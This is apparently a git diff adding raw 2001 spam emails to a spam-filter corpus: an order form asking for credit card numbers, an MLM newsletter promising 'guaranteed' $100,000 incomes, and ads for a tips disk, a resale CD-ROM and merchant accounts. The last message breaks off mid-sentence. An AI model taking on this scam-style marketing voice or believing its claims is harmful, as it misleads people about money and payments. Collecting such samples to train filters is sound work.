
    +

    Internet Information Services

    +

    PO Box 21442

    +

    Billings, MT 59104

    +

    (ALL ORDERS FILLED WITHIN 24 HOURS OF RECEIVING THEM)

    +

    Please allow 7 days for delivery.

    +

    *************************

    +

    Credit Card Order Form

    +

    Name on Credit Card:

    +

    Address:

    +

    City/State/ZIP:

    +

    Your email address:

    +

    ++++++++++++++++++++++++++++++++++++++++

    +

    PLEASE CIRCLE ONE for the quantity you wish to order.

    +

    Please send me a ONE month supply for $25.95

    +

    For Shipping OUTSIDE the US please add $11.00.

    +

    Please send me a TWO month supply for $42.00

    +

    For Shipping OUTSIDE the US please add $11.00.

    +

    (This is a savings of $13.90 off our regular price.)

    +

     

    +

    Credit Card Number:

    +

    Date Credit Card Expires:

    +

    If you do not receive your order within 10 days, please send us a fax letting +us know of the late arrival.

    +

    We will then contact you to figure out why you have not received your order.

    +

    Please tell us your phone Number:

    +

    Please tell us your fax Number:

    +

     

    +

    To order by Check or Money Order:

    +

    MAKE YOUR CHECK PAYABLE TO:

    +

    Internet Information Services

    +

     

    +

    Name:

    +

    Address:

    +

    City/State/ZIP:

    +

    E-mail Address:

    +

    If you do not receive your order within 10 days, please send us a fax letting +us know of the late arrival.

    +

    We will then contact you to figure out why you have not received your order.

    +

    Please tell us your phone Number:

    +

    Please tell us your fax Number:

    +

     

    +

    Thank you for your business,

    +

    Internet Information Services

    +

    PO Box 21442

    +

    Billings, MT 59104

    +

    Fax to 1-775-898-9.0.5.1. +If this line is busy, please try faxing to 1-253-541-0.0.7.9.

    +

     

    +

    Copyright (c) 1997-2000

    +

    All Rights Reserved

    +

     

    +

     

    +

     

    +

     

    +

     

    +

     

    +

     

    +

     

    +

     

    +

     

    +

     

    +     +

    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    +This ad is produced and sent out by:
    +Universal Advertising Systems
    +To be removed from our mailing list please email us at
    +vanessagreen@freeze.com with remove in the subject line or
    +call us toll free at 1-88.8-60.5-2.4.8.5 and give us your email address or +write us at:
    +Central D B R e m o v a l, PO Box 12 00, Oranje.st.ad, Ar.ub.a
    +++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    +     + + +





    Content-Transfer-Encoding: 7BIT
    + + diff --git a/bayes/spamham/spam_2/00081.4c7fbdca38b8def54e276e75ec56682e b/bayes/spamham/spam_2/00081.4c7fbdca38b8def54e276e75ec56682e new file mode 100644 index 0000000..a59f14d --- /dev/null +++ b/bayes/spamham/spam_2/00081.4c7fbdca38b8def54e276e75ec56682e @@ -0,0 +1,764 @@ +From FLN-Community@FreeLinksNetwork.com Sat Jul 28 17:35:30 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from rovdb001.roving.com (unknown [216.251.239.53]) by + mail.netnoteinc.com (Postfix) with ESMTP id 29F9911410E for + ; Sat, 28 Jul 2001 16:35:28 +0000 (Eire) +Received: from rovweb003 (unknown [10.208.80.89]) by rovdb001.roving.com + (Postfix) with ESMTP id 67FF8513B1 for ; Sat, + 28 Jul 2001 00:26:43 -0400 (EDT) +From: Your Membership Newsletter +To: yyyy@netnoteinc.com +Subject: Your Membership Community & Commentary, 07-27-01 +X-Roving-Queued: 20010728 00:27.01526 +X-Roving-Version: 4.1.Patch44.ThingOne_p44_07_18_01_PoolFix +X-Mailer: Roving Constant Contact 4.1.Patch44.ThingOne_p44_07_18_01_PoolFi + x (http://www.constantcontact.com) +X-Roving-Id: 996263976609 +Message-Id: <20010728042643.67FF8513B1@rovdb001.roving.com> +Date: Sat, 28 Jul 2001 00:26:43 -0400 (EDT) + + +--261908501.996294421526.JavaMail.RovAdmin.rovweb003 +Content-Type: text/plain; charset=iso-8859-1 + +Your Membership Community & Commentary (July 27, 2001) +It's All About Making Money + +Information to provide you with the absolute +best low and no cost ways of providing traffic +to your site, helping you to capitalize on the power +and potential the web brings to every Net-Preneur. + +--- This Issue Contains Sites Who Will Trade Links With You! --- + +------------- +IN THIS ISSUE +------------- +5 Ways to Create a Unique Website +Member Showcase +Commentary Quick Tips +Win A FREE Ad In Community & Commentary + + + +||| =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>> + Today's Special Announcement: +||| =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>> + +Absolute Gifts Etc. Offers thousand of high quality gifts & unique +collectibles. At wholesales prices, Some items are "Exclusive" and +were designed for our collection only. Lots of freebees! +Plus bonus bucks will save you even more. +Business opportunities,Total weight loss system & much more! +http://www.absolutegiftsetc.com + +||| =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>> + +You are a member in at least one of these programs +- You should be in them all! +http://www.BannersGoMLM.com +http://www.ProfitBanners.com +http://www.CashPromotions.com +http://www.MySiteInc.com +http://www.TimsHomeTownStories.com +http://www.FreeLinksNetwork.com +http://www.MyShoppingPlace.com +http://www.BannerCo-op.com +http://www.PutPEEL.com +http://www.PutPEEL.net +http://www.SELLinternetACCESS.com +http://www.Be-Your-Own-ISP.com +http://www.SeventhPower.com + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +5 Ways to Create a Unique Website +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +Internet users have no doubt seen several websites of identical +design. This is often because webmasters do not have the +ability or time to design and create unique websites. These +five points will help you come up with a one-of-a-kind design +for your website. + +1. Navigation System + +Deciding on a navigation system should be one of the first +things to consider when designing your website. Visitors +usually look for a way to get to the information they want +before reading anything else. I would suggest putting your +navigation system in two areas. Look at WebmasterBase +(http://www.webmasterbase.com) for example. There is a list +of categories on the left, and information about the network +on the top bar. + +It is not recommended that you place your navigation at the +bottom of the page because: + +- People see the top of the page first +- If you have a lot of content on one page, the navigation gets + pushed to bottom of the page... away from the visitor. + +2. Color Scheme + +When you are choosing colors, make sure they contrast. For +example, do not use bright green and florescent pink. Some +colors that are often used are white on black or black on +white. + +A wonderful utility that is web-based and free is Color Schemer +(http://www.godigitalstudios.com/www/color/), created by Aaron +Epstein. Many other programs exist that can assist you in +choosing colors. Try doing a search on FreewareFiles +(http://www.freewarefiles.com), Tucows (http://www.tucows.com), +or Download.com (http://www.download.com) for "color schemer." + +3. Content Window + +This is the brain of the website. Make sure that the text here +is easy to read and understand. + +Also, provide your own original content. People do not want to +hear what somebody else has to say. They want to hear what +you want to say! While it might be time consuming to write +your own content, it sure is worth it. + +To find content for your website, try searching at +EzineArticles (http://www.ezinearticles.com). Other people may +have used the articles, but if you become good friends with the +authors, they may send you new content as they write it. Be +careful though. Do not use too much content from other +authors, as mentioned above. + +4. Font(s) + +Several types of fonts exist. The first one I will discuss is +fixed width or monospace, similar to Courier or Courier New. +Fixed width fonts are good for displaying code (like HTML.) + +Another type of font is called sans serif. It is similar to +Arial (Windows) or Helvetica (Macintosh). This font can be +used for long pieces of text. + +The final type of font is called serif because it has serifs, +or curves, in each letter. Often, this font is called Times +(Windows) or Georgia (Macintosh). This font, like sans serif, +is often used for long blocks of text. It is preferred because +its rounded edges lead the reader to the next letter, making it +easier to read. + +5. Advertising + +Ah, everybody's favorite... advertising! This is one of thing +that almost every website has. The most common type is what +is known as "banner" advertising. It is called that because it is +long and thin (like a paper banner.) How long you ask? The +generic kind is 468 pixels wide by 60 pixels high. + +New sizes however are being used. Take for example the new +style called "skyscraper" -- so called for a reason: it looks +like a skyscraper. It is tall (about 425 pixels) but not too +wide (about 100-125 pixels.) + +Finding a way to place advertising can be tricky. Banners +used to be placed (and still are) only at the top of the page. +Nevertheless, banners are starting to be placed in the middle +of the page, at the bottom, or along the side. + + Conclusion + +These are only five things to consider when designing a +website. There are many others however. Let me know what +you find that helps you create a unique website. My email +address is mailto:corbb@justforwebmasters.com. + +------------------------------------- +About the Author... + +Written by Corbb O'Connor. Corbb is the Webmaster of +http://www.justforwebmasters.com, a website that focuses on +teaching Webmasters how to create, gain traffic to, and make +money from their own websites. He is also the editor of a FREE +bi-weekly newsletter entitled, "The Guided Webmaster." To +subscribe now, send an email to: +mailto:subscribe@justforwebmasters.com?subject=article-subscribe. +Information about this newsletter can be obtained from his website. + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Member Showcase +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +Examine carefully - Those with email addresses included WILL +TRADE LINKS with you... You are encouraged to contact them. +There Are Many Ways To Build A Successful Business - Just look +at these successful sites & programs other members are involved +in... +------------------------------------------------- + +Life Without Debt! What would you do with 5,000 10,000 +20,000 100,000? A "Dream Team" of heavy hitters are +gathering to promote Life Without Debt. Get in NOW to +receive Massive spillover in the 2x matrix. +http://trafficentral.com/lwd/index.htm +--------------------------------------------------------------------- + +EARN $100,000+ PER YEAR! - FULLY GUARANTEED! +We do all the selling for you, 365 days a year! +We also offer you a GUARANTEED INCOME of up to +$100,000+p.a. - working just 2 hours a day. GUARANTEED +http://www.ArmchairTycoon.com/profits2you +Trade Links - mailto:walter@profits2you.com +--------------------------------------------------------------------- + +CashPO is Paid E-Mail Central! +Get FREE REFERRALS, _KEEP_ referrals when new +programs are added; free advertising to other +members, and soon chances to win cash! +http://www.cashpo.net/CashPO/openpage.php4?c=2 +--------------------------------------------------------------------- + +JUST BEEN RELEASED!! +Internet Marketing guru Corey Rudl has just released a BRAND NEW +VERSION of his #1 best-selling Internet Marketing Course,"The Insider +Secret's to Marketing Your Business on the Internet". A MUST HAVE! +So don't hesitate, visit.. http://www.adminder.com/c.cgi?start&bgmlmezine +-------------------------------------------------------------- + + If you have a product, service, opportunity or quality + merchandise that appeals to people worldwide, reach your + targeted audience! For a fraction of what other large + newsletters charge you can exhibit your website here, and + trade links for only $8 CPM.  Compare that to the + industry average of $10-$15 CPM. Why?... Because as a + valuable member we want you to be successful! Order today - + Showcases are limited and published on a first come, first + serve basis. For our secure order form, click here: + http://bannersgomlm.com/ezine + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Commentary Quick Tips +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +Product Recommendation: + +If you don't have a fax machine, or your phone, computer, +and fax all share the same line, you should check out +http://www.efax.com. You can get a unique phone number and +receive faxes and voicemail sent to you via email, all +totally free. It's been a life saver for me. + +Submitted by JT Timmer +Animal_Instincts@RagingBull.com +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Do you have a marketing hint, product recommendation, or +online gem of wisdom you'd like to share with your fellow +subscribers? With your 2 - 10 line Quick Tip include your +name and URL or email address and we'll give you credit +for your words of wisdom. + +And, if you're looking for free advertising, this isn't +the place - check out the 'One Question Survey' below for +a great free advertising offer. + +Send it in to mailto:Submit@AEOpublishing.com +with 'Quick Tip' in the Subject block. + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Win A FREE Ad In Community & Commentary +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +To keep this interesting, how about this, every month we'll +draw a name from the replies and that person will win one +Sponsorship Showcase in the Community & Commentary, for FREE. +That's a value of over $800.00! Respond to each weekly survey, +and increase your chances to win with four separate entries. + + QUESTION OF THE WEEK (07/27/01)... + No right or wrong answers, and just by answering + you are entered to win a Sponsorship Showcase - Free! + + ~~~ Are you concerned about identity theft online? ~~~ + +yes mailto:yes@AEOpublishing.com +no mailto:no@AEOpublishing.com + +To make this as easy as possible for you, just click on the +hyperlinked answer to send us an e-mail - you do not need to +enter any information in the subject or body of the message. + +** ADD YOUR COMMENTS! Follow directions above and +add your comments in the body of the message, and we'll +post the best commentaries along with the responses. + +You will automatically be entered in our drawing for a free +Sponsorship ad in the Community & Commentary. Please +respond only one time per question. Multiple responses +from the same individual will be discarded. + +Last Weeks's Survey Results & Comments (07/20/01) + + ~~~ Do you promote your website only online? ~~~ + +yes 45% +no 55% + +Comments: +~~~~~~~~~ + +"Just because we're working online doesn't mean we should forget +to market offline as well. Heck,some days I get more leads in the +supermarket than I do online." +-- Henry C. http://www.fastersurfing.com +~~~~~~~~~ + +"I attach mailing labels with my message printed on them on the +back of my business cards, on flyers, brochures or anything that +I hand out to my customers." +-- Rick A. http://www.iprocenter.com/rickarmstrong +~~~~~~~~~ + +"I promote my business opportunity website both online and +offline. The printed media is very valuable to promote my presence +on the internet. Having a website is just like having a "sign-post +in the desert". Without anyone knowing where to look to find you, +your website is a museum with no visitors. +-- Jerry P. http://www.wealthtoday.net/key4health + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +To change your subscribed address, send both new and old +address to mailto:Submit@AEOpublishing.com +See the link (below) for our Subscription Center to unsubscribe +or edit your interests. + +Please send suggestions and comments to: +mailto:Editor@AEOpublishing.com +I invite you to send your real successes and showcase +your strategies and techniques, or yes, even your total bombs, +"Working Together We Can All Prosper." +mailto:Submit@AEOpublishing.com + +For information on how to sponsor Your Membership +Community & Commentary visit: http://bannersgomlm.com/ezine + +Copyright 2001 AEOpublishing.com +------------------------------------------------ +web: http://www.AEOpublishing.com +------------------------------------------------ + +This email has been sent to jm@netnoteinc.com at your +request, by Your Membership Newsletter Services. + +Visit our Subscription Center to edit your interests or unsubscribe. +http://ccprod.roving.com/roving/d.jsp?p=oo&id=bd7n7877.l89m7847&m=bd7n7877&ea=jm@netnoteinc.com + +View our privacy policy: http://ccprod.roving.com/roving/CCPrivacyPolicy.jsp + +Powered by +Constant Contact(R) +www.constantcontact.com +--261908501.996294421526.JavaMail.RovAdmin.rovweb003 +Content-Type: text/html; charset=iso-8859-1 + + + + + Your Membership Community & Commentary, 07-27-01 + + + + +
    + + + + +
    + + + + + + + + + + + + + +
    Your Membership Community & Commentary
      It's All About Making MoneyJuly 27, 2001  
    +

    + + + + + + + + +
    + + + + + +
    + + in this issue + +
    + + + + + + + + + + +
    + +
    5 Ways to Create a Unique Website +

    Member Showcase +

    Commentary Quick Tips +

    Win A FREE Ad In Community & Commentary +

    +

    +


    + + + + +
    Today's Special Announcement:
    + +
    +

    Absolute Gifts Etc. Offers thousand of high quality gifts & unique +
    collectibles. At wholesales prices, Some items are "Exclusive" and +
    were designed for our collection only. Lots of freebees! +
    Plus bonus bucks will save you even more. +
    Business opportunities,Total weight loss system & much more! +
    www.absolutegiftsetc.com +
     

    +
     

    +You are a member in at least one of these programs +- You should be in them all!
    + BannersGoMLM.com +
    ProfitBanners.com +
    CashPromotions.com +
    MySiteInc.com +
    TimsHomeTownStories.com +
    FreeLinksNetwork.com +
    MyShoppingPlace.com +
    BannerCo-op.com +
    PutPEEL.com +
    PutPEEL.net +
    SELLinternetACCESS.com +
    Be-Your-Own-ISP.com +
    SeventhPower.com

    +

    +     + +

    		+ + + + + + + + + + + + + + + +
       + + +
    Information to provide you with the absolute +
    best low and no cost ways of providing traffic +
    to your site, helping you to capitalize on the power
    and potential the web brings to every Net-Preneur.
    +--- This Issue Contains Sites Who Will Trade Links With You! ---
    +

    +
    + + + + + + + + + +
  • 5 Ways to Create a Unique Website
    •   

    Internet users have no doubt seen several websites of +
    identical design. This is often because webmasters do not +
    have the ability or time to design and create unique websites. +
    These five points will help you come up with a one-of-a-kind +
    design for your website. +

    1. Navigation System +

    Deciding on a navigation system should be one of the first +
    things to consider when designing your website. Visitors +
    usually look for a way to get to the information they want +
    before reading anything else. I would suggest putting your +
    navigation system in two areas. Look at WebmasterBase +
    (http://www.webmasterbase.com) +for example. There is a list +
    of categories on the left, and information about the network +
    on the top bar. +

    It is not recommended that you place your navigation at the +
    bottom of the page because: +

    - People see the top of the page first +
    - If you have a lot of content on one page, the navigation +
        gets pushed to bottom of the page... away from the +visitor. +

    2. Color Scheme +

    When you are choosing colors, make sure they contrast. +
    For example, do not use bright green and florescent pink. +
    Some colors that are often used are white on black or black +
    on white. +

    A wonderful utility that is web-based and free is Color +
    Schemer (http://www.godigitalstudios.com/www/color/), +
    created by Aaron Epstein. Many other programs exist that +
    can assist you in choosing colors. Try doing a search on +
    FreewareFiles (http://www.freewarefiles.com), +Tucows +
    (http://www.tucows.com), or Download.com +
    (http://www.download.com) for +"color schemer." +

    3. Content Window +

    This is the brain of the website. Make sure that the text +
    here is easy to read and understand. +

    Also, provide your own original content. People do not want +
    to hear what somebody else has to say. They want to hear +
    what you want to say! While it might be time consuming to +
    write your own content, it sure is worth it. +

    To find content for your website, try searching at +
    EzineArticles (http://www.ezinearticles.com). +Other people +
    may have used the articles, but if you become good friends +
    with the authors, they may send you new content as they +
    write it. Be careful though. Do not use too much content +
    from other authors, as mentioned above. +

    4. Font(s) +

    Several types of fonts exist. The first one I will discuss is +
    fixed width or monospace, similar to Courier or Courier New. +
    Fixed width fonts are good for displaying code (like HTML.) +

    Another type of font is called sans serif. It is similar to +
    Arial (Windows) or Helvetica (Macintosh). This font can +
    be used for long pieces of text. +

    The final type of font is called serif because it has serifs, +
    or curves, in each letter. Often, this font is called Times +
    (Windows) or Georgia (Macintosh). This font, like sans serif, +
    is often used for long blocks of text. It is preferred because +
    its rounded edges lead the reader to the next letter, making +
    it easier to read. +

    5. Advertising +

    Ah, everybody's favorite... advertising! This is one of thing +
    that almost every website has. The most common type is +
    what is known as "banner" advertising. It is called that +
    because it is long and thin (like a paper banner.) How long +
    you ask? The generic kind is 468 pixels wide by 60 pixels high. +

    New sizes however are being used. Take for example the +
    new style called "skyscraper" -- so called for a reason: it +
    looks like a skyscraper. It is tall (about 425 pixels) but not +
    too wide (about 100-125 pixels.) +

    Finding a way to place advertising can be tricky. Banners +
    used to be placed (and still are) only at the top of the +
    page.  Nevertheless, banners are starting to be placed in +
    the middle of the page, at the bottom, or along the side. +

    Conclusion +

    These are only five things to consider when designing a +
    website. There are many others however. Let me know +
    what you find that helps you create a unique website. My +
    email address is mailto:corbb@justforwebmasters.com. +

    ------------------------------------- +
    About the Author... +

    Written by Corbb O'Connor. Corbb is the Webmaster of +
    http://www.justforwebmasters.com, +a website that focuses +
    on teaching Webmasters how to create, gain traffic to, and +
    make money from their own websites. He is also the editor +
    of a FREE bi-weekly newsletter entitled, "The Guided +
    Webmaster." To subscribe now, send an email to: +
    mailto:subscribe@justforwebmasters.com?subject=article-subscribe. +
    Information about this newsletter can be obtained from his website.

  • Member Showcase
    •   

    Examine carefully - Those with email addresses included WILL +
    TRADE LINKS with you... You are encouraged to contact them. +
    There Are Many Ways To Build A Successful Business - Just look +
    at these successful sites & programs other members are involved +in... +
    ------------------------------------------------- +

    Life Without Debt! What would you do with 5,000 10,000 +
    20,000 100,000? A "Dream Team" of heavy hitters are +
    gathering to promote Life Without Debt. Get in NOW to +
    receive Massive spillover in the 2x matrix. +
    http://trafficentral.com/lwd/index.htm +
    --------------------------------------------------------------------- +

    EARN $100,000+ PER YEAR! - FULLY GUARANTEED! +
    We do all the selling for you, 365 days a year! +
    We also offer you a GUARANTEED INCOME of up to +
    $100,000+p.a. - working just 2 hours a day. GUARANTEED +
    http://www.ArmchairTycoon.com/profits2you +
    Trade Links - mailto:walter@profits2you.com +
    --------------------------------------------------------------------- +

    CashPO is Paid E-Mail Central! +
    Get FREE REFERRALS, _KEEP_ referrals when new +
    programs are added; free advertising to other +
    members, and soon chances to win cash! +
    http://www.cashpo.net/CashPO/openpage.php4?c=2 +
    --------------------------------------------------------------------- +

    JUST BEEN RELEASED!! +
    Internet Marketing guru Corey Rudl has just released +
    a BRAND NEW VERSION of his #1 best-selling Internet +
    Marketing Course,"The Insider Secret's to Marketing Your +
    Business on the Internet". A MUST HAVE! So don't +
    hesitate, visit.. http://www.adminder.com/c.cgi?start&bgmlmezine +
    ------------------------------------------------- +

    If you have a product, service, opportunity or quality +
    merchandise that appeals to people worldwide, reach your targeted audience! +
    For a fraction of what other large newsletters charge you can +
    exhibit your website here, and trade links for only $8 CPM.  +
    Compare that to the industry average of $10-$15 CPM. +
    Why?... Because as a valuable member we want you     +
    to be successful! Order today - +
    Showcases are limited and published on a first come, first serve +basis. +
    For our secure order form, click here: http://bannersgomlm.com/ezine +

  • Commentary Quick Tips
    •   

    Product Recommendation: +

    If you don't have a fax machine, or your phone, computer, +
    and fax all share the same line, you should check out +
    http://www.efax.com.  You can +get a unique phone number +
    and receive faxes and voicemail sent to you via email, all +
    totally free.  It's been a life saver for me. +

    Submitted by JT Timmer +
    Animal_Instincts@RagingBull.com +
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +

    Do you have a marketing hint, product recommendation, or +
    online gem of wisdom you'd like to share with your fellow +
    subscribers? With your 2 - 10 line Quick Tip include your +
    name and URL or email address and  we'll give you credit +
    for your words of wisdom. +

    And, if you're looking for free advertising, this isn't +
    the place - check out the 'One Question Survey' below for +
    a great free advertising offer. +

    Send it in to mailto:Submit@AEOpublishing.com +
    with 'Quick Tip' in the Subject block.

  • Win A FREE Ad In Community & Commentary
    •   

    To keep this interesting, how about this, every month we'll +
    draw a name from the replies and that person will win one +
    Sponsorship Showcase in the Community & Commentary, for FREE. +
    That's a value of over $800.00! Respond to each weekly survey, +
    and increase your chances to win with four separate entries. +

     QUESTION OF THE WEEK (07/27/01)... +
     No right or wrong answers, and just by answering +
     you are entered to win a Sponsorship Showcase  - Free! +

     ~~~ Are you concerned about identity theft online? ~~~ +

    yes    mailto:yes@AEOpublishing.com +
    no    mailto:no@AEOpublishing.com +

    To make this as easy as possible for you, just click on the +
    hyperlinked answer to send us an e-mail  - you do not need to +
    enter any information in the subject or body of the message. +

    ** ADD YOUR COMMENTS!  Follow directions above and +
    add your comments in the body of the message, and we'll +
    post the best commentaries along with the responses. +

    You will automatically be entered in our drawing for a free +
    Sponsorship ad in the Community & Commentary. Please +
    respond only one time per question.  Multiple responses +
    from the same individual will be discarded. +

    Last Weeks's Survey Results (07/20/01) +

     ~~~ Do you promote your website only online? ~~~ +

    yes   45% +
    no    55% +

    Comments: +
    ~~~~~~~~~ +

    "Just because we're working online doesn't mean we should +
    forget to market offline as well.  Heck, some days I get more +
    leads in the supermarket than I do online." +
    -- Henry C.  http://www.fastersurfing.com +
    ~~~~~~~~~ +

    "I attach mailing labels with my message printed on them +
    on the back of my business cards, on flyers, brochures or +
    anything that I hand out to my customers." +
    -- Rick A.   http://www.iprocenter.com/rickarmstrong +
    ~~~~~~~~~ +

    "I promote my business opportunity website both online +
    and offline. The printed media is very valuable to promote +
    my presence on the internet. Having a website is just like +
    having a "sign-post in the desert". Without anyone +
    knowing where to look to find you, your website is a +
    museum with no visitors. +
    -- Jerry P.    http://www.wealthtoday.net/key4health

    •   To change your subscribed address, +
    send both new and old address to Submit +
    See the link (to the left) for our Subscription Center to unsubscribe or edit your interests. + +

    Please send suggestions and comments to: Editor +
    I invite you to send your real successes and showcase +your strategies and techniques, or yes, even your total bombs, +"Working Together We Can All Prosper." Submit +

    For information on how to sponsor Your Membership +Community & Commentary visit: Sponsorship +Showcase +

    Copyright 2001 AEOpublishing.com

    + + +
    + + +
    + +  ::  visit our site +
    + +
    + + + + + This email was sent to
    jm@netnoteinc.com,
    at your request,
    by Your Membership Newsletter Services. +

    Visit our Subscription Center
    to edit your interests or unsubscribe. +

    View our privacy policy. +

    Powered by
    Constant Contact +     +

    +

    + +

    +
    + + +--261908501.996294421526.JavaMail.RovAdmin.rovweb003-- + + + diff --git a/bayes/spamham/spam_2/00082.92b519133440f8e9e972978e7b82e25e b/bayes/spamham/spam_2/00082.92b519133440f8e9e972978e7b82e25e new file mode 100644 index 0000000..4693675 --- /dev/null +++ b/bayes/spamham/spam_2/00082.92b519133440f8e9e972978e7b82e25e @@ -0,0 +1,102 @@ +From computerupdates101@msn.com Sat Jul 28 08:38:38 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from dogma.slashnull.org (dogma.slashnull.org [212.17.35.15]) by + mail.netnoteinc.com (Postfix) with ESMTP id CF90611410E for + ; Sat, 28 Jul 2001 07:38:37 +0000 (Eire) +Received: from indec-ntserver.indec.com.au (indecp1.lnk.telstra.net + [139.130.51.102]) by dogma.slashnull.org (8.9.3/8.9.3) with ESMTP id + IAA07253 for ; Sat, 28 Jul 2001 08:38:26 +0100 +Date: Sat, 28 Jul 2001 08:38:26 +0100 +From: computerupdates101@msn.com +Message-Id: <200107280738.IAA07253@dogma.slashnull.org> +Received: from 202 (indecp.lnk.telstra.net [139.130.38.75]) by + indec-ntserver.indec.com.au with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2650.21) id 35KJCMA9; Sat, 28 Jul 2001 17:45:55 +1000 +To: computerupdates101@msn.com +Subject: windows tips + + + +ARE YOU HAVING TROUBLE WITH YOUR COMPUTER? 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Software and computer manufacturers don't want you to know these secrets, because they want you to buy their software and/or technology upgrades at very inflated prices. +This investment of only $14.95 truly outweighs the frustration of a poorly working good computer. + +Gain a better understanding of your computer by using these tips. + +ORDER TODAY FOR YOUR COPY OF THIS AMAZING PROGRAM FOR WINDOWS. + +Postage paid. +$14.95 US, $19.95 International (U.S dollars) + +(We accept Cash, Check or Money order) + +Make Checks payable to: +C Chute +PO Box 6337 +Jacksonville, Fl. 32205-9998 + +Please Print Clearly Your Return: + +Name _______________________________________________________________l31__ + +Address _______________________________________________________________ + +City, State, and Zip Code _____________________________________________ + +E-mail Address_________________________________________________________ ........................................................................ + +This program is fully guaranteed. If you are unhappy just return the disk within 30 days +And we will refund your money. + +Copyright 2001 +C Chute +All Rights Reserved + +All REMOVE requests AUTOMATICALLY honored upon receipt. PLEASE understand that any effort to disrupt, close or block this REMOVE account can only result in difficulties for others wanting to be removed from our master mailing list as it will be impossible to take anyone off the list if the remove instruction cannot be received. To be removed from our master mailing list please send an email to 2getoffmylist@start.com.au and place remove in the subject. + +Thank you: +PLEASE FORWARD TO EVERYONE YOU KNOW! +ONE DAY THEY WILL THANK YOU! + + +This mailing is done by an independent marketing co. +We apologize if this message has reached you in error. +Save the Planet, Save the Trees! Advertise With +E-mail. No wasted paper! Delete with +One simple keystroke! Less refuse in our Dumps! + +Make it a great day! + +------------------------------------------------------------------------------------------------------------ + + + diff --git a/bayes/spamham/spam_2/00083.1aead789d4b4c7022c51bc632e4f2445 b/bayes/spamham/spam_2/00083.1aead789d4b4c7022c51bc632e4f2445 new file mode 100644 index 0000000..62dd55f --- /dev/null +++ b/bayes/spamham/spam_2/00083.1aead789d4b4c7022c51bc632e4f2445 @@ -0,0 +1,81 @@ +From boogwie@hawaiian.net Sat Jul 28 15:05:59 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from smtp.easydns.com (ns1.easydns.com [216.220.40.243]) by + mail.netnoteinc.com (Postfix) with ESMTP id 2318011410E for + ; Sat, 28 Jul 2001 14:05:58 +0000 (Eire) +Received: from caroubier.wanadoo.fr (smtp-rt-6.wanadoo.fr + [193.252.19.160]) by smtp.easydns.com (8.11.3/8.11.0) with ESMTP id + f6SE5to27991 for ; Sat, 28 Jul 2001 10:05:55 -0400 +Received: from andira.wanadoo.fr (193.252.19.152) by caroubier.wanadoo.fr; + 28 Jul 2001 15:59:31 +0200 +Received: from good (194.2.146.197) by andira.wanadoo.fr; 28 Jul 2001 + 15:59:28 +0200 +Message-Id: <3b62c5423c63bfdd@andira.wanadoo.fr> (added by andira.wanadoo.fr) +From: boogwie@hawaiian.net +To: +Subject: Cd Rom 2000 How To Books +Date: Sat, 28 Jul 2001 06:45:21 -0500 +X-Priority: 1 +X-Msmail-Priority: High + + + +HELLO: THIS IS AN ADVERTISEMENT FOR THE PUBLISHERS +CD-ROM, IF YOU HAVE NO INTEREST IN THIS INFORMATION, +PLEASE CLICK DELETE. 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You own the REPRINT, RESELL RIGHTS +with the purchase of the CD-ROM. Not only can you use this +wealth of information for your own benefit, you can also +market this information to others. You can PRODUCE FOR +PENNIES AND SELL FOR BIG DOLLARS. + +Remember this is an already +TESTED AND PROVEN successful business opportunity! + +ACT NOW!! REGULAR PRICE $59.95 +ORDER BEFORE AUG 12 AND RECEIVE FOR THE +BONUS PRICE OF $15.95. + +Simply send $15.95 check, money order, or +credit card information to: + +MARKETING RESOURCES +PMB 179 +1812 S. HWY 77 # 115 +LYNN HAVEN, FL 32444 + +CREDIT CARD ORDERS, please mail in your information. +Attention Marketing Resources, here is credit card +information for the amount of $15.95 for the Publishers CD-ROM. + +ACCOUNT NUMBER________________________________ +EXP. DATE________________________ +NAME___________________________ +BILLING ADDRESS________________________________ +CITY_________________________STATE____________ZIP__________ +HOME PHONE NUMBER_____________________________ + +ff we have reached you in error, and you would like to be removed +stiylack@yahoo.com + + + diff --git a/bayes/spamham/spam_2/00084.eab3c85ce1b86d404296fc9d490d30dc b/bayes/spamham/spam_2/00084.eab3c85ce1b86d404296fc9d490d30dc new file mode 100644 index 0000000..1cecd94 --- /dev/null +++ b/bayes/spamham/spam_2/00084.eab3c85ce1b86d404296fc9d490d30dc @@ -0,0 +1,49 @@ +From ikym2f7jt@msn.com Sat Jul 28 17:12:24 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from hspweb.hspweb.hsp.org (unknown [204.142.32.3]) by + mail.netnoteinc.com (Postfix) with ESMTP id 5516C11410E for + ; Sat, 28 Jul 2001 16:12:23 +0000 (Eire) +Received: from inptx.msn.com (igate.stenocall.com [216.167.155.146]) by + hspweb.hspweb.hsp.org with SMTP (Microsoft Exchange Internet Mail Service + Version 5.5.2653.13) id P4J8CSD2; Sat, 28 Jul 2001 11:59:11 -0400 +From: ikym2f7jt@msn.com +To: tu6ncpf8f4@msn.com +Reply-To: clairsafe126@excite.com +Subject: Increase Sales, Accept Credit Cards! [6fqtt] +Message-Id: <20010728161223.5516C11410E@mail.netnoteinc.com> +Date: Sat, 28 Jul 2001 16:12:23 +0000 (Eire) + + +We provide businesses of ALL types an opportunity to have their own +no hassle Credit Card Merchant Account with NO setup fees. Good +credit, bad credit, no credit -- not a problem! 95% approval rate! + +You will be able to accept all major 